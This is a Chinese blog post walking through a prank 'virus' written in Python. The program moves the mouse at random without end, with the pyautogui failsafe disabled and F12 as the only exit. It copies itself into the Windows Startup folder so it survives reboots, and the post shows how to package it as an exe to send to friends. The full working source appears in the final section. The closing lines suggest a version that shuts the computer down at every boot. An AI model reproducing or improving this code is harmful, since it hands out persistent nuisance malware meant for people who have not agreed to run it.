🏆一、前言
(程序源码在最终代码部分。)
(本文配有资源现成的exe,可以直接转发给好友)
(模块:pyautogui,keyboard,sys,shutil,random,os,threading)
(该程序因为不完全是本人写的,所以讲解不怎么好,可忽略)
又是好几个月没写文了,然后发生了一件特别有趣的事想起来了。
自己在远古时代写了一个pyautogui的鼠标乱动程序,最近学了打包,然后就把程序打包下来发给我的QQ好友。
我的好友打开这个程序了之后,鼠标乱点刚好点到他的游戏,帮他直接开了一把,还从黄金掉到白银了哈哈哈哈哈哈
然后就拿着这个程序找我同学,花一天时间将程序大改良,成功做出了一个小型病毒。
程序实现了:
1.运行后鼠标乱动,无法控制。
2.长按F12可以解除。
3.添加开机启动项,重启后继续运行。
🏆二、程序第一版
import pyautogui as gui
import random as r
gui.FAILSAFE =True
a=0
while a<=100:
b=r.randint(1,3)
if b==1:
gui.moveTo(r.randint(1,1919),r.randint(1,1079))
if b==2:
gui.click(r.randint(1,1919),r.randint(1,1079),button='left')
if b==3:
gui.dragTo(r.randint(1,1919),r.randint(1,1079))
a+=1
这是我做的第一版程序,鼠标可以乱动乱点乱拖100次。后面感觉有点伤害电脑就把乱点乱拖去掉了,只能乱动。
先了解一下pyautogui模块:这是一个自动化脚本模块,内有可以操控自己的鼠标和键盘的函数。详情可以在我的主页查找python详解(6)这篇文章。
配置pyautogui模块,只需输入pip install pyautogui即可。
本程序第三行中的FAILSAFE是一个安全变量,把他设置为True,只要鼠标运行时用力往左上角拖就不会报错。默认为True。
第8行的moveTo函数有移动鼠标到指定坐标的作用。显示器的坐标通常是1920*1080。
第10行的click函数有在指定坐标单机的作用。button参数为单机的鼠标键。button='right'就会单机鼠标右键。
第12行的dragTo有长按鼠标,移动到指定坐标,再松开鼠标的作用,说人话就是拖动。
这个程序要说那里都不错,就是没有实现做出来的意义:打包出来去坑人!
🏆三、程序大魔改
想要把程序拿去坑人,就必须进行打包变成exe格式,这样即使对方的电脑没有对应模块,甚至没有python也能运行。
结果我打包的时候不知道什么原因总是一运行就闪退,于是求助我的同学,结果他直接帮我把程序进行了大魔改:
🚩1、基础改动
将程序做了一些基础改动:gui.FAILSAFE调整为False;将鼠标的点击拖动程序去掉;循环次数直接改成无限次。这些都是小改动,不是重点。
🚩2、打包
打包程序最常用的模块就是pyinstaller。还是万能的pip install安装。
在cmd界面输入:
pyinstaller -F 要打包文件的路径
等待他把一大串东西输出完,文件就打包到了Administrator里面,点开里面的dist文件夹,里面的exe程序就是打包好的程序,双击就可以运行。
不知道什么原因我打包带有pyautogui的程序总是出问题,但是其他程序可以。我同学打包pyautogui程序也可以,就很难评。
🚩3、F12保护机制
代码要实现:侦测到按下F12之后退出程序。
keyboard模块里面(还是需要pip安装)有一个函数:
keyboard.is_pressed()
他将会侦测一个键盘按键是否被按下。是则返回True。
sys模块里面有exit()函数,可以关闭该窗口。
于是,我们可以设置一个鼠标移动的函数:
def move():
while True:
if keyboard.is_pressed('F12') == True:
sys.exit()
gui.moveTo(r.randint(0,1919),r.randint(0,1070))
大功告成!
🚩4、添加开机自启项
要想程序开机自启,有一个神奇的路径:
r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
只要把文件放在这个路径里面,程序就会开机自启。这里又要用到其他模块了:shutil(第三方)还有sys。
shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")
这段代码可以将该文件复制到开启自启项里。
然后呢,就有一个问题:这个文件开机自启之后,会再运行一遍这个添加开机自启的程序,因为这个程序已经在开机自启项里面了,所以会报错。接下来,要用到万能的os模块:
os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe")
这串代码可以返回检索文件结果。如果找到这个文件了就返回True。这样我们可以进行控制:
f = os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe")
if f == True:#如果包含该文件
try:
if __name__ == "__main__":
待补充
except Exception as e:#这个地方是出现报错的时候了解报错情况用的
print(e)
else:#如果不包含该文件
shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")#直接添加
while True:
move()
🚩5、自己也不懂的线程魔改
多线程实在看不懂学不会。我同学本人的描述是:
就是创建一个线程,如果之后要加功能的话,也方便,直接扔线程池就完事儿了,创建一个线程,应该也可以避免部分崩溃罢。
然后把上述代码魔改成了这样:
threads = []
t1=threading.Thread(move())
threads.append(t1)
f = os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe")
if f == True:
try:
if __name__ == "__main__":
for t in threads:
t.start()
except Exception as e:
print(e)
else:
shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")
while True:
move()
看不懂一点,不过能用就行。
🏆四、最终代码
import pyautogui as gui
gui.FAILSAFE = False
import keyboard
import sys
import shutil
import random as r
import os
import threading
def move():
while True:
if keyboard.is_pressed('F12') == True:
sys.exit()
gui.moveTo(r.randint(0,1919),r.randint(0,1070))
threads = []
t1=threading.Thread(move())
threads.append(t1)
f = os.path.exists(r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\movemouse.exe")
if f == True:
try:
if __name__ == "__main__":
for t in threads:
t.start()
except Exception as e:
print(e)
else:
shutil.copy(sys.argv[0],r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")
while True:
move()
28行代码,我和同学两个人讨论了1天半,最终还是实现了。只要配置好所有模块打包下来就能用辣!
🏆五、尾声
程序实用性还是不咋的,杀伤力太小,其实可以在这个基础上做一个开机自启关机的程序,直接毒死所有人。
感谢观看!
--------------------------------------------------------end-------------------------------------------------
版权归原作者 ¿¿¿¡¡¡ 所有, 如有侵权,请联系我们删除。